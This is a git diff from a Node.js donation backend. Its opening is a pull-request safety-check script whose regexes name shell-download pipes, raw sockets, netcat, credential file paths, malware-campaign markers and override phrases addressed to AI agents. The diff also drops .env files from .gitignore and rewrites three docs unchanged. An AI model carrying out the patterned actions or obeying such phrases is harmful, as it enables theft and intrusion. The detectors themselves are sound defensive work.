workspace file, which can define tasks and settings'], + [/(^|\/)\.cargo\//, 'changes Cargo config, which can set a custom runner, linker or build flags'], + [/(^|\/)rust-toolchain(\.toml)?$/, 'changes the pinned Rust toolchain'], + [/(^|\/)(eslint|vite|vitest|next|postcss|tailwind|playwright|jest|babel|webpack|rollup|esbuild|prisma|commitlint|lint-staged|prettier|stylelint|svelte|nuxt|astro|tsup|turbo|cypress|metro|rspack|rsbuild|remix|gatsby)\.config\.(js|cjs|mjs|ts|mts|cts)$/, 'changes a config file that is executed as code', 'note'], + [/(^|\/)\.(eslintrc|prettierrc|babelrc|stylelintrc|lintstagedrc|commitlintrc|mocharc)\.(js|cjs|mjs|ts)$/, 'changes a config file that is executed as code', 'note'], + [/(^|\/)(lefthook|\.lefthook)\.ya?ml$/, 'changes git hook configuration'], + [/(^|\/)(Makefile|makefile|GNUmakefile|justfile|Justfile|Taskfile\.ya?ml)$/, 'changes a task runner file', 'note'], + [/(^|\/)(noxfile\.py|tox\.ini|setup\.py|setup\.cfg|conftest\.py)$/, 'changes a Python build or test hook'], + [/(^|\/)scripts\//, 'changes a script under scripts/', 'note'], + [/(^|\/)fa-(solid|regular|brands|light|thin|duotone)[^\/]*$/i, 'file name imitates a Font Awesome font, as used by a known malware campaign'], + [/(^|\/)dist\/setup\.js$/, 'adds a file name used by a known malware campaign (dist/setup.js)'], + [/(^|\/)branch_structure\.json$/, 'adds a file name used by a known malware campaign (branch_structure.json)'], + [/(^|\/)temp_[a-z_]*push[a-z_]*\.(bat|cmd|sh|ps1)$/i, 'adds a file name used by a known malware campaign (temp push script)'], + [/(^|\/)\.env(\.(?!example$|sample$|template$).+)?$/, 'adds an environment file, which may hold secrets'], + ]; + const BINARY = /\.(woff2?|ttf|otf|eot|llf|exe|dll|so|dylib|bin|jar|class|zip|tar|gz|tgz|7z|rar|bat|cmd|ps1|vbs|scr|msi|deb|rpm|apk|node|pyc|lik)$/i; + const IMAGE = /\.(png|jpe?g|gif|webp|ico|avif|bmp)$/i; + const CODE = /\.(js|jsx|mjs|cjs|ts|tsx|mts|cts|rs|sh|bash|py|rb|go|java|kt|swift|php|pl|ps1)$/i; + const NO_LONG_LINE_CHECK = /\.(md|mdx|svg|lock|snap|json|csv|txt|map|min\.js|min\.css)$|(^|\/)(package-lock\.json|yarn\.lock|pnpm-lock\.yaml|Cargo\.lock)$/i; + // Zero-width, bidirectional-override and variation-selector characters can hide code from reviewers. + const HIDDEN = /[\u200B-\u200F\u202A-\u202E\u2060-\u2064\u2066-\u2069\uFEFF\uFE00-\uFE0F]|\uDB40[\uDC00-\uDC7F\uDD00-\uDDEF]/; + const HIDDEN_PROSE = /[\u200B\u202A-\u202E\u2060-\u2064\u2066-\u2069]|\uDB40[\uDC00-\uDC7F]/; + const SUSPICIOUS = [ + [/\beval\s*\(/, 'eval('], + [/\bnew\s+Function\s*\(/, 'new Function('], + [/child_process/, 'child_process'], + [/require\(\s*['"](node:)?vm['"]\s*\)|from\s+['"](node:)?vm['"]/, 'the vm module'], + [/(\\x[0-9a-fA-F]{2}){8,}/, 'a long run of \\x escapes'], + [/(\\u[0-9a-fA-F]{4}){8,}/, 'a long run of \\u escapes'], + [/[A-Za-z0-9+/]{300,}={0,2}/, 'a long base64-like blob'], + [/\b_0x[0-9a-f]{4,}\b/, 'obfuscator-style identifiers (_0x...)'], + [/String\.fromCharCode\s*\((\s*\d+\s*,){10,}/, 'String.fromCharCode with many character codes'], + [/(curl|wget)[^\n|]*\|\s*(ba|z)?sh\b/, 'pipes a download into a shell'], + [/base64\s+(-d|--decode)\b/, 'decodes base64 when it runs'], + [/\/dev\/tcp\//, 'opens a raw network socket'], + [/\b(nc|ncat|netcat)\s+-/, 'uses netcat'], + [/Invoke-Expression|powershell(\.exe)?\s+-(enc|e)\b/i, 'runs encoded PowerShell'], + [/(\.ssh\b|\.aws\b|\.npmrc|\.git-credentials|\.gnupg|id_rsa|id_ed25519|\.config\/gh\b|Login Data|wallet\.dat)/i, 'references credential or browser profile locations'], + ]; + const LIFECYCLE = /"(preinstall|install|postinstall|prepare|prepublish|prepublishOnly|prepack|postpack)"\s*:/; + const DOC_DATA = /\.(md|mdx|txt|rst|json|csv|tsv|svg|snap|map|lock|html?|xml|ya?ml|toml|ini|css|scss|less|sql|ipynb|geojson|proto|pem|crt|po|pot)$|(^|\/)(LICENSE|NOTICE|CODEOWNERS)[^\/]*$/i; + const NO_WS_CHECK = /\.(md|mdx|txt|csv|snap|svg|lock)$|(^|\/)(package-lock\.json|yarn\.lock|pnpm-lock\.yaml|Cargo\.lock)$/i; + const CONFIG_CODE = /(^|\/)((eslint|vite|vitest|next|postcss|tailwind|playwright|jest|babel|webpack|rollup|esbuild|prisma|commitlint|lint-staged|prettier|stylelint|svelte|nuxt|astro|tsup|turbo|cypress|metro|rspack|rsbuild|remix|gatsby)\.config|\.(eslintrc|prettierrc|babelrc|stylelintrc|lintstagedrc|commitlintrc|mocharc))\.(js|cjs|mjs|ts|mts|cts)$/; + const CONFIG_RISK = /\bcreateRequire\b|child_process|\bfetch\s*\(|(require\(\s*|from\s+)['"](node:)?(https?|net|tls|dgram|dns|vm|worker_threads)['"]/; + const MARKERS = new RegExp([['rmcej%', 'otb%'], ['Cot%3T=', 'sthP'], ['_$__', '1e42']].map(([a, b]) => (a + b).replace(/[.*+?^${}()|[\]\\]/g, '\\$&')).join('|')); + const hidesCode = (l) => { const runs = l.match(/[ \t]{50,}(?=\S)/g); return !!runs && (Math.max(...runs.map(r => r.length)) >= 100 || l.length > 300); }; + const SCRIPT_LINE = /^\s*"([^"]+)"\s*:\s*"((?:[^"\\]|\\.)*)"\s*,?\s*$/; + const SHELL_TRICKS = /\b(curl|wget|eval|base64|powershell|pwsh|mshta|certutil)\b|\b(bash|sh|zsh)\s+-c\b|\bcmd\s+\/c\b/i; + const DEP_LINE = /^\s*"(@?[a-z0-9][\w.~-]*(?:\/[\w.~-]+)?)"\s*:\s*"[~^]?\d[^"]*"\s*,?\s*$/; + const AGENT_INJECTION = /ignore (all |any |the )?(previous|prior|above|earlier) (instructions|prompts)|disregard (all |any |the )?(previous|prior|above)|do not (tell|inform|mention)[^.]{0,30}(the )?(user|maintainer|reviewer)|(run|execute) the following (command|script)/i; + + // -- Files -- + const files = await github.paginate(github.rest.pulls.listFiles, { owner, repo, pull_number: pr.number, per_page: 100 }); + if (pr.changed_files > files.length) flag('(PR)', `only ${files.length} of ${pr.changed_files} changed files could be inspected`); + + const addedFiles = new Set(files.filter(x => x.status === 'added').map(x => x.filename)); + const readTree = async (sha) => { + try { + const { data } = await github.rest.git.getTree({ owner, repo, tree_sha: sha, recursive: 'true' }); + if (data.truncated) flag('(PR)', 'file modes could not be fully checked: the repository tree is too large'); + return new Map(data.tree.map(t => [t.path, t.mode])); + } catch (e) { + flag('(PR)', 'file modes (symlinks, submodules, executable bits) could not be checked'); + return new Map(); + } + }; + const headModes = await readTree(pr.head.sha); + const baseModes = await readTree(pr.base.sha); + + for (const f of files) { + const path = f.filename; + const paths = [path, f.previous_filename].filter(Boolean); + if (f.status === 'removed') { + // Deleting editor or git config is harmless, but deleting automation can weaken these checks. + if (/^\.github\//.test(path)) flag(path, 'removes repository automation (.github/)'); + continue; + } + for (const [re, why, level] of RISKY_PATHS) if (paths.some(p => re.test(p))) flag(path, why, level); + if (f.status === 'added' && /^[^\/]+\.(js|cjs|mjs)$/.test(path) && !/\.config\.(js|cjs|mjs)$/.test(path)) flag(path, 'adds a new JavaScript file at the repository root'); + const mode = headModes.get(path); + if (mode === '120000') flag(path, 'is a symbolic link, which can point outside the repository'); + if (mode === '160000') flag(path, 'is a git submodule, which pulls in code from another repository'); + if (mode === '100755' && baseModes.get(path) !== '100755') { + if (/^scripts\/.*\.(sh|bash)$/.test(path)) flag(path, 'is a newly executable shell script', 'note'); + else flag(path, 'is made executable'); + } + // Real images, fonts and binaries never have a text diff; one that does is disguised. + if ((BINARY.test(path) || IMAGE.test(path)) && f.patch) flag(path, 'is named like a binary, font or image file but contains text, possibly disguised code'); + if (BINARY.test(path)) flag(path, 'adds or changes a font, binary, archive or script-runner file'); + else if (!f.patch && f.changes > 0 && !IMAGE.test(path)) flag(path, 'could not be inspected: binary, or too large for GitHub to show a diff'); + + const added = (f.patch || '').split('\n').filter(l => l.startsWith('+') && !l.startsWith('+++')).map(l => l.slice(1)); + if (added.some(l => (/\.(md|mdx|txt|rst)$/i.test(path) ? HIDDEN_PROSE : HIDDEN).test(l))) flag(path, 'contains invisible or bidirectional Unicode characters'); + if (CONFIG_CODE.test(path) && added.some(l => CONFIG_RISK.test(l))) flag(path, 'a config file now loads modules dynamically or uses process or network APIs'); + if (added.some(l => MARKERS.test(l))) flag(path, 'contains a marker string used by a known malware campaign'); + if (!NO_WS_CHECK.test(path) && added.some(l => hidesCode(l))) flag(path, 'adds a line with a long run of spaces or tabs before more text, which can push code off-screen'); + if (/\.(md|mdx|txt)$/i.test(path) && added.some(l => AGENT_INJECTION.test(l))) flag(path, 'contains text addressed to an AI agent'); + + if (/(^|\/)package\.json$/.test(path)) { + if (added.some(l => LIFECYCLE.test(l))) flag(path, 'adds or changes an install-time script (preinstall, postinstall, prepare, ...)'); + const dir = path.includes('/') ? path.slice(0, path.lastIndexOf('/') + 1) : ''; + let newDeps = 0; + for (const l of added) { + const dep = l.match(DEP_LINE); + if (dep) { + if (dep[1] !== 'version' && newDeps < 10) { newDeps++; flag(path, `adds or updates dependency ${dep[1]}; check it is the package you expect`, 'note'); } + continue; + } + const m = l.match(SCRIPT_LINE); + if (m) { + const [, key, cmd] = m; + if (SHELL_TRICKS.test(cmd)) flag(path, `"${key}" runs a download, shell or encoding command`); + const node = cmd.match(/\bnode\s+(?:\.\/)?([^\s&;|"']+\.(?:c|m)?js)\b/); + if (node) { + if (addedFiles.has(dir + node[1])) flag(path, `"${key}" runs a file this PR adds (${node[1]})`); + else if (/^\s*node\s+\S+\.(c|m)?js\s*(&&|;|\|\|)/.test(cmd)) flag(path, `"${key}" runs a local file before the real command`); + } + if (/^(git\+|git:|github:|file:|link:|portal:)/.test(cmd) || /^https?:\/\/\S+\.(tgz|tar\.gz|zip)$/.test(cmd)) flag(path, `dependency "${key}" comes from a git, file or tarball source`); + } + } + if (added.some(l => /^\s*"(overrides|resolutions|pnpm)"\s*:/.test(l))) flag(path, 'adds dependency overrides or resolutions'); + } + if (/(^|\/)(package-lock\.json|yarn\.lock|pnpm-lock\.yaml)$/.test(path)) { + const hosts = added.map(l => (l.match(/https?:\/\/([^/"' ]+)/) || [])[1]).filter(Boolean); + const odd = [...new Set(hosts)].filter(h => !/^(registry\.npmjs\.org|registry\.yarnpkg\.com)$/.test(h)); + if (odd.length) flag(path, `resolves packages from an unusual host: ${odd.join(', ')}`); + } + if (/(^|\/)Cargo\.(toml|lock)$/.test(path) && added.some(l => /git\s*=|git\+|^\s*build\s*=|\[build-dependencies\]/.test(l))) { + flag(path, 'adds a git dependency or a build script'); + } + if (/(^|\/)Cargo\.toml$/.test(path) && added.some(l => /^\s*\[(patch|replace)\b|proc-macro\s*=\s*true/.test(l))) flag(path, 'adds a [patch] or [replace] section or a proc-macro crate'); + if (/(^|\/)Cargo\.lock$/.test(path)) { + const src = added.map(l => (l.match(/^source = "(.+)"$/) || [])[1]).find(x => x && !/^(registry\+https:\/\/github\.com\/rust-lang\/crates\.io-index|sparse\+https:\/\/index\.crates\.io\/)/.test(x)); + if (src) flag(path, `uses a package source other than crates.io (${src.slice(0, 60)})`); + } + + if (CODE.test(path) || /(^|\/)(Makefile|makefile|GNUmakefile|justfile|Justfile|Taskfile\.ya?ml)$/.test(path) || ((BINARY.test(path) || IMAGE.test(path)) && f.patch) || (f.patch && !DOC_DATA.test(path))) { + if (!NO_LONG_LINE_CHECK.test(path)) { + const longest = added.reduce((m, l) => Math.max(m, l.length), 0); + if (longest > (CONFIG_CODE.test(path) ? 300 : 500)) flag(path, `adds a line of ${longest} characters, which may be minified or obfuscated code`); + } + for (const [re, what] of SUSPICIOUS) if (added.some(l => re.test(l))) flag(path, `adds code using ${what}`); + } + } + + // -- Commits -- + const commits = await github.paginate(github.rest.pulls.listCommits, { owner, repo, pull_number: pr.number, per_page: 100 }); + if (pr.commits > commits.length) flag('(commits)', `only ${commits.length} of ${pr.commits} commits could be inspected`); + const prAuthor = pr.user.login.toLowerCase(); + const writers = new Map(); + const hasWriteAccess = async (login) => { + if (!writers.has(login)) { + let access; + try { + const { data } = await github.rest.repos.getCollaboratorPermissionLevel({ owner, repo, username: login }); + access = ['admin', 'maintain', 'write'].includes(data.role_name || data.permission) ? 'write' : 'none'; + } catch (e) { access = 'unknown'; } + writers.set(login, access); + } + return writers.get(login); + }; + for (const c of commits) { + const short = c.sha.slice(0, 7); + const subject = c.commit.message.split('\n')[0]; + // GitHub signs the merge commits it creates. An unsigned "Merge pull request" commit is a copy made elsewhere. + if (/^Merge pull request #\d+ from /.test(subject)) { + const githubMade = c.commit.verification?.verified === true && c.commit.committer?.email === 'noreply@github.com'; + if (githubMade) flag(`commit ${short}`, `merges a PR inside the contributor's fork ("${subject}")`, 'note'); + else flag(`commit ${short}`, `looks like a copy of another PR's merge commit, not signed by GitHub ("${subject}")`); + } + const login = c.author?.login; + if (login && login.toLowerCase() !== prAuthor && c.author.type !== 'Bot') { + // A commit credited to a maintainer inside someone else's PR is how the earlier forgery looked trustworthy. + const access = await hasWriteAccess(login); + const githubSigned = c.commit.verification?.verified === true && c.commit.committer?.email === 'noreply@github.com'; + if (access === 'write') flag(`commit ${short}`, `is credited to @${login}, who has write access, but the PR is by @${pr.user.login}${githubSigned ? ' (signed by GitHub)' : ' and is not signed by GitHub'}`, githubSigned ? 'note' : 'block'); + else if (access === 'unknown') flag(`commit ${short}`, `is authored by @${login}, not the PR author, and their access could not be checked`); + else flag(`commit ${short}`, `is authored by @${login}, not the PR author @${pr.user.login}`, 'note'); + } + } + + // -- Text written by the contributor -- + const texts = [['PR title', pr.title || ''], ['PR description', pr.body || ''], ...commits.map(c => [`commit ${c.sha.slice(0, 7)} message`, c.commit.message])]; + for (const [where, text] of texts) { + if (HIDDEN_PROSE.test(text)) flag(where, 'contains invisible or bidirectional Unicode characters'); + if (AGENT_INJECTION.test(text)) flag(where, 'contains text addressed to an AI agent or reviewer'); + } + if (//.test(pr.body || '')) flag('PR description', 'has a long hidden HTML comment', 'note'); + + // -- Report -- + const esc = (s) => String(s).replace(/[|`<>]/g, ch => ({ '|': '\\|', '`': "'", '<': '<', '>': '>' }[ch])); + const table = (rows) => '| Where | Why |\n|---|---|\n' + rows.map(f => `| ${esc(f.where)} | ${esc(f.why)} |`).join('\n') + '\n\n'; + const blocking = findings.filter(f => f.level === 'block'); + const notes = findings.filter(f => f.level === 'note'); + + if (blocking.length === 0) { + const s = core.summary.addHeading('PR safety check: no risky changes found', 3) + .addRaw(`Checked ${files.length} file(s) and ${commits.length} commit(s). Still read the diff before merging.\n\n`); + if (notes.length) s.addRaw('Notes (not blocking):\n\n' + table(notes)); + await s.write(); + await setStatus('success', notes.length ? `No risky changes found (${notes.length} note(s))` : 'No risky changes found'); + for (const f of notes) core.notice(`${f.where}: ${f.why}`); + return; + } + + const s = core.summary.addHeading(`PR safety check: ${blocking.length} risky change(s)`, 3) + .addRaw('Review these carefully before merging. If they are legitimate, an admin can merge anyway.\n\n') + .addRaw(table(blocking)); + if (notes.length) s.addRaw('Notes (not blocking):\n\n' + table(notes)); + await s.write(); + await setStatus('failure', `${blocking.length} risky change(s) found; review before merging`); + for (const f of blocking) core.warning(`${f.where}: ${f.why}`); + core.setFailed(`${blocking.length} risky change(s) found. See the job summary.`); diff --git a/.gitignore b/.gitignore index 557c373..256e6c2 100644 --- a/.gitignore +++ b/.gitignore @@ -1,12 +1,11 @@ -node_modules -dist -coverage -src/generated -.env -.env.* -!.env.example -!.env.test.example -*.log - -# Local helper for setting DATABASE_URL; not part of the app. -set-db-url.ps1 +node_modules +dist +coverage +src/generated +!.env.example +!.env.test.example +*.log + +# Local helper for setting DATABASE_URL; not part of the app. +set-db-url.ps1 +config.bat diff --git a/ARCHITECTURE.md b/ARCHITECTURE.md index 7a1082f..9ea81df 100644 --- a/ARCHITECTURE.md +++ b/ARCHITECTURE.md @@ -1,53 +1,53 @@ -# Architecture - -StreamGive's backend runs its HTTP API, Soroban event indexer, and notification -dispatcher in one Node.js process. They share the process environment, database -client, logger, and in-memory metrics; the indexer starts alongside the API -rather than as a separate service. - -## API - -Fastify serves the public and admin REST endpoints under `/v1`, along with -unversioned `/health`, `/health/ready`, and `/metrics` endpoints. Route handlers -use the shared Prisma client to read and write PostgreSQL. The HTTP server and -indexer therefore use the same database connection pool and process lifecycle. - -## Indexer - -At startup, the process begins polling the configured Soroban RPC endpoint for -events from the watched NGO registry and donation vault contracts. The dispatcher -sends each event to the corresponding contract handler. Handlers update the -database and trigger notification dispatch where appropriate. The indexer saves -its checkpoint to PostgreSQL after each processed event, resumes from that -checkpoint after a restart, and retries transient failures with backoff. - -## Notifications - -Notifications are dispatched by the same process in response to events and -application changes. When configured, the webhook channel sends JSON to -`NOTIFY_WEBHOOK_URL`; an optional `NOTIFY_WEBHOOK_SECRET` signs the payload. -Email delivery is currently a stub. Notification delivery records are stored -in PostgreSQL, while a bounded event-id set used to avoid repeat work is local -to the process. - -## Process boundaries and scaling - -PostgreSQL stores application data, indexer checkpoints, and notification logs. -Some operational state, including HTTP metrics and rate-limit counters, is -held in process memory and is not shared across instances. - -Run the API and indexer together as one backend instance. Adding backend -instances also starts additional indexer workers and creates independent -in-memory state; it is not equivalent to scaling a stateless API tier. Any -multi-instance deployment must account for those per-process responsibilities -and state explicitly. - -## Shutdown - -On `SIGTERM` (container or orchestrator shutdown) or `SIGINT` (Ctrl+C), the -process requests the indexer to stop. The worker cancels its pending poll and -waits for any poll already in progress to finish. The process then closes the -Fastify server, allowing in-flight HTTP requests to complete, and exits with a -success status. If shutdown fails, the process logs the error and exits with a -failure status. An unhandled promise rejection follows the same cleanup path -and exits with a failure status. +# Architecture + +StreamGive's backend runs its HTTP API, Soroban event indexer, and notification +dispatcher in one Node.js process. They share the process environment, database +client, logger, and in-memory metrics; the indexer starts alongside the API +rather than as a separate service. + +## API + +Fastify serves the public and admin REST endpoints under `/v1`, along with +unversioned `/health`, `/health/ready`, and `/metrics` endpoints. Route handlers +use the shared Prisma client to read and write PostgreSQL. The HTTP server and +indexer therefore use the same database connection pool and process lifecycle. + +## Indexer + +At startup, the process begins polling the configured Soroban RPC endpoint for +events from the watched NGO registry and donation vault contracts. The dispatcher +sends each event to the corresponding contract handler. Handlers update the +database and trigger notification dispatch where appropriate. The indexer saves +its checkpoint to PostgreSQL after each processed event, resumes from that +checkpoint after a restart, and retries transient failures with backoff. + +## Notifications + +Notifications are dispatched by the same process in response to events and +application changes. When configured, the webhook channel sends JSON to +`NOTIFY_WEBHOOK_URL`; an optional `NOTIFY_WEBHOOK_SECRET` signs the payload. +Email delivery is currently a stub. Notification delivery records are stored +in PostgreSQL, while a bounded event-id set used to avoid repeat work is local +to the process. + +## Process boundaries and scaling + +PostgreSQL stores application data, indexer checkpoints, and notification logs. +Some operational state, including HTTP metrics and rate-limit counters, is +held in process memory and is not shared across instances. + +Run the API and indexer together as one backend instance. Adding backend +instances also starts additional indexer workers and creates independent +in-memory state; it is not equivalent to scaling a stateless API tier. Any +multi-instance deployment must account for those per-process responsibilities +and state explicitly. + +## Shutdown + +On `SIGTERM` (container or orchestrator shutdown) or `SIGINT` (Ctrl+C), the +process requests the indexer to stop. The worker cancels its pending poll and +waits for any poll already in progress to finish. The process then closes the +Fastify server, allowing in-flight HTTP requests to complete, and exits with a +success status. If shutdown fails, the process logs the error and exits with a +failure status. An unhandled promise rejection follows the same cleanup path +and exits with a failure status. diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index e50fc0b..1ec5ec1 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,72 +1,72 @@ -# Contributing to streamgive-backend - -Thanks for your interest in contributing! This guide covers everything you need -to get the backend running locally, run the test suite, and open a pull request. - -For the full, project-wide contribution guide (code style, branch naming, PR -process, and more) see the -[StreamGive documentation site](https://github.com/streamgive/streamgive-docs). - ---- - -## Prerequisites - -- **Node.js** ≥ 20 -- **Docker** and **Docker Compose** (for the Postgres container) - ---- - -## Local setup - -```bash -# 1. Copy the environment templates -cp .env.example .env - -# 2. Start the Postgres container (also creates the streamgive_test database) -docker compose up -d postgres - -# 3. Install dependencies -npm install - -# 4. Apply Prisma migrations to the development database -npm run db:deploy - -# 5. (Optional) Seed sample NGOs, donors and streams -npm run db:seed # uses upserts, safe to run more than once - -# 6. Start the dev server -npm run dev -``` - -To run the whole stack containerised instead: - -```bash -docker compose up --build -``` - ---- - -## Running the test suite - -The integration tests run against a separate `streamgive_test` database that is -created automatically by the Docker Compose `postgres` service (the same -`docker compose up -d postgres` command from the local setup above). - -```bash -cp .env.test.example .env.test -npm run db:deploy:test # apply migrations onto streamgive_test -npm test -``` - ---- - -## Before opening a pull request - -```bash -npm run lint -npm run typecheck -npm test -``` - -All three must pass with no errors. Then open a PR against `main` and link the +# Contributing to streamgive-backend + +Thanks for your interest in contributing! This guide covers everything you need +to get the backend running locally, run the test suite, and open a pull request. + +For the full, project-wide contribution guide (code style, branch naming, PR +process, and more) see the +[StreamGive documentation site](https://github.com/streamgive/streamgive-docs). + +--- + +## Prerequisites + +- **Node.js** ≥ 20 +- **Docker** and **Docker Compose** (for the Postgres container) + +--- + +## Local setup + +```bash +# 1. Copy the environment templates +cp .env.example .env + +# 2. Start the Postgres container (also creates the streamgive_test database) +docker compose up -d postgres + +# 3. Install dependencies +npm install + +# 4. Apply Prisma migrations to the development database +npm run db:deploy + +# 5. (Optional) Seed sample NGOs, donors and streams +npm run db:seed # uses upserts, safe to run more than once + +# 6. Start the dev server +npm run dev +``` + +To run the whole stack containerised instead: + +```bash +docker compose up --build +``` + +--- + +## Running the test suite + +The integration tests run against a separate `streamgive_test` database that is +created automatically by the Docker Compose `postgres` service (the same +`docker compose up -d postgres` command from the local setup above). + +```bash +cp .env.test.example .env.test +npm run db:deploy:test # apply migrations onto streamgive_test +npm test +``` + +--- + +## Before opening a pull request + +```bash +npm run lint +npm run typecheck +npm test +``` + +All three must pass with no errors. Then open a PR against `main` and link the relevant issue. \ No newline at end of file diff --git a/DEPLOYMENT.md b/DEPLOYMENT.md index c2293a5..b1ddcf1 100644 --- a/DEPLOYMENT.md +++ b/DEPLOYMENT.md @@ -1,165 +1,165 @@ -# Deploying the backend - -This service is a Fastify API and a Soroban event indexer running in one -process. It needs a Postgres database and a deployed pair of contracts — -contract ids for the current testnet deployment are in -`streamgive-contracts/deployments.json`. - -It is deployed on Render's free tier from `render.yaml`, using the -Dockerfile in this directory. Any host that can run a container works; the -one real constraint is discussed under "Keeping it awake". - -## Prerequisites - -- A Postgres database reachable from the internet. Supabase's free tier is - fine — use the **session pooler** connection string, not the direct one, - which resolves to IPv6 only and will fail from most networks. -- The frontend's public URL, for `CORS_ORIGINS`. - -## First deploy - -In Render: **New → Blueprint**, point it at this repository, and let it read -`render.yaml`. It prompts for the three values marked `sync: false`: - -| Variable | Value | Why it is not in `render.yaml` | -| --------------- | -------------------------------------------------------- | ------------------------------- | -| `DATABASE_URL` | Supabase session pooler URL, password percent-encoded | Secret | -| `ADMIN_ADDRESS` | the `G...` wallet that is admin on the deployed registry | Public, but deployment-specific | -| `CORS_ORIGINS` | the frontend's URL, e.g. `https://streamgive.vercel.app` | Public, but deployment-specific | - -`sync: false` marks values Render cannot know when it reads the blueprint; it -is not a list of secrets. Two of those three are public. - -The blueprint pins the rest of the required configuration — `NODE_ENV`, -`SOROBAN_RPC_URL`, both contract ids, and `INDEXER_POLL_INTERVAL_MS` — because -the same values are correct on every deployment. - -Nothing else has to be set for the service to boot. The rest of -[`ENVIRONMENT.md`](./ENVIRONMENT.md) is optional, and each value either has a -default in code or belongs to a feature you can enable later, which is why none -of it is in `render.yaml`. The one feature that cannot work until you add a -variable is webhook delivery: add `NOTIFY_WEBHOOK_URL` (and, to sign the -deliveries, `NOTIFY_WEBHOOK_SECRET`) under Environment → Add Environment -Variable. The remaining optional settings — `ADMIN_ADDRESSES`, `LOG_LEVEL`, -`TRUST_PROXY`, `RATE_LIMIT_*`, `INDEXER_START_LEDGER`, -`INDEXER_MAX_EVENTS_PER_POLL`, `INDEXER_LAG_THRESHOLD` — are safe to leave -unset unless you are overriding the documented default. - -## The ordering problem - -The frontend needs this API's URL, and this API needs the frontend's URL for -`CORS_ORIGINS`. Neither exists before the other, so: - -1. Deploy this backend and note its URL (`https://.onrender.com`) -2. Deploy the frontend with `NEXT_PUBLIC_API_URL` set to that -3. Come back and set `CORS_ORIGINS` to the frontend's real URL - -Until step 3, every browser request fails as `Failed to fetch`, which looks -like the server being down rather than a CORS refusal. It isn't. Put a -placeholder in at step 1 and correct it at step 3. - -## Database schema - -The app does not migrate on boot. Deploy the committed migrations from a -machine that has `DATABASE_URL` set: - -```sh -npx prisma migrate deploy -``` - -## Keeping it awake - -Render's free web services **spin down after about 15 minutes without HTTP -traffic**, and take 30–60 seconds to wake. Two consequences: - -- A visitor arriving cold waits through that wake-up on a blank page. -- While stopped, nothing is indexed. The indexer runs inside this process. - -### How long the indexer can be down without losing events - -Missed events are _recoverable_ rather than lost, but only while the saved -checkpoint is still inside the RPC's retention window. - -That window is a property of the RPC endpoint, not of this repository. It is -reported as `ledgerRetentionWindow` by `getHealth`, and it differs by network -and by provider: - -| Endpoint | `ledgerRetentionWindow` | At ~5 s per ledger | -| --------------------------------------------------------------------------------------- | ----------------------- | ------------------ | -| `https://soroban-testnet.stellar.org` (what `render.yaml` uses) | 120,960 | **~7 days** | -| Mainnet RPC endpoints (typical), as described in [`docs/INDEXER.md`](./docs/INDEXER.md) | 17,280 | **~24 hours** | - -Read the number off the endpoint you actually configured rather than trusting -either figure: - -```sh -curl -s -X POST "$SOROBAN_RPC_URL" -H 'content-type: application/json' \ - -d '{"jsonrpc":"2.0","id":1,"method":"getHealth"}' -``` - -On wake, the indexer resumes from its saved checkpoint and catches up. Only a -gap longer than that window is unrecoverable — at which point it resyncs to the -current ledger and logs a warning naming what it skipped. - -### The pinger - -An external uptime pinger (cron-job.org, UptimeRobot, …) hitting the service -every 10 minutes keeps it awake, which also keeps the Supabase project clear of -its own 7-day inactivity pause: the indexer queries the database every poll -interval for as long as the process is running. - -Which route the pinger should hit depends on what its up/down state is -supposed to mean: - -| Target | What a `200` proves | Cost | -| -------------- | ------------------------------------------------------------------------------------------- | --------------------------------------- | -| `GET /metrics` | The process is running and routing requests. The handler reads process-local counters only. | Nothing beyond the request | -| `GET /health` | The process, Postgres, **and** the Stellar RPC all answered. | One DB query and one RPC call per check | - -`/health` answers `503` when either dependency fails, so a monitor pointed at -it reports an outage whenever Supabase or the public Stellar RPC has one, even -though nothing in this service is down. That is useful as a dependency check -and misleading as a liveness check; `/metrics` is the dependency-free option. -Both keep the instance awake, so a 10-minute `/metrics` ping is enough to stop -the spin-down. - -The same distinction applies to Render itself: `render.yaml` sets -`healthCheckPath: /health`, so a release is only marked healthy once the RPC -answers as well. That is the intent for a deploy — a new instance that cannot -reach the RPC cannot index — but it does mean a third-party incident can stall -a rollout. - -One caveat: Render's free plan allows 750 instance-hours per month and a -month is about 730 hours, so a permanently-awake service consumes nearly the -whole allowance. That budget covers **one** free service, not several. - -## Running more than one instance - -Several pieces of state live in process memory. Each one behaves differently -when a second replica runs, and when the process restarts. The table lists -what the code does today. - -| State | Where | Second replica | Restart | -|---|---|---|---| -| Admin signature replay set | `usedSignatures` in `src/middleware/adminAuth.ts` | A signature already used on one replica is accepted again on the other within the replay window. | Cleared, so a signature used before the restart is accepted again within its window. | -| Rate limits (global and NGO applications) | `@fastify/rate-limit` with its default in-memory store. No shared store is configured in `src/server.ts`. | Each replica counts requests separately, so the effective limit is about `RATE_LIMIT_MAX` times the number of replicas. | Counters reset. | -| Notification de-duplication | `deliveredEventIds` in `src/notifications/service.ts` (capped at 10,000 ids) | The database check against `notificationLog` runs before each send, but two replicas handling the same event at the same moment can both send before either writes the log entry. | The in-memory set is cleared. The database check still prevents resends of events logged as delivered. | -| Metrics counters | `src/metrics.ts` | `/metrics` reports one replica's counters. Scrape each replica separately. | Counters reset. | -| Indexer | Started in every process by `src/index.ts`. The checkpoint is in the `indexer_checkpoints` table. | No leader lock exists in `src/indexer`, so each replica polls the same events. Whether that double processing is harmless depends on the handlers being idempotent. This was not verified. | Resumes from the saved checkpoint. | -| Log retention | Daily `setInterval` in `src/maintenance/logRetention.ts`, in every process | Each replica runs the job. | Runs again on the next interval. | - -The one coordinated path is NGO application creation, which takes a Postgres -advisory lock keyed on the owner address (`src/routes/ngoApplications.ts`). -That check holds across replicas. - -**Recommended instance count: one.** Until the replay set, rate limits, and -indexer are moved to shared storage or given a leader lock, run a single -backend instance. Scale out only after those items are resolved, and keep the -indexer on one instance even then. - -## Notes on Supabase - -- Free-tier projects pause after 7 days of inactivity. The pinger above - keeps this service querying the database, which keeps the project active. -- Percent-encode the password in the connection URL. A literal `#` - truncates it, and a literal `@` breaks host parsing. +# Deploying the backend + +This service is a Fastify API and a Soroban event indexer running in one +process. It needs a Postgres database and a deployed pair of contracts — +contract ids for the current testnet deployment are in +`streamgive-contracts/deployments.json`. + +It is deployed on Render's free tier from `render.yaml`, using the +Dockerfile in this directory. Any host that can run a container works; the +one real constraint is discussed under "Keeping it awake". + +## Prerequisites + +- A Postgres database reachable from the internet. Supabase's free tier is + fine — use the **session pooler** connection string, not the direct one, + which resolves to IPv6 only and will fail from most networks. +- The frontend's public URL, for 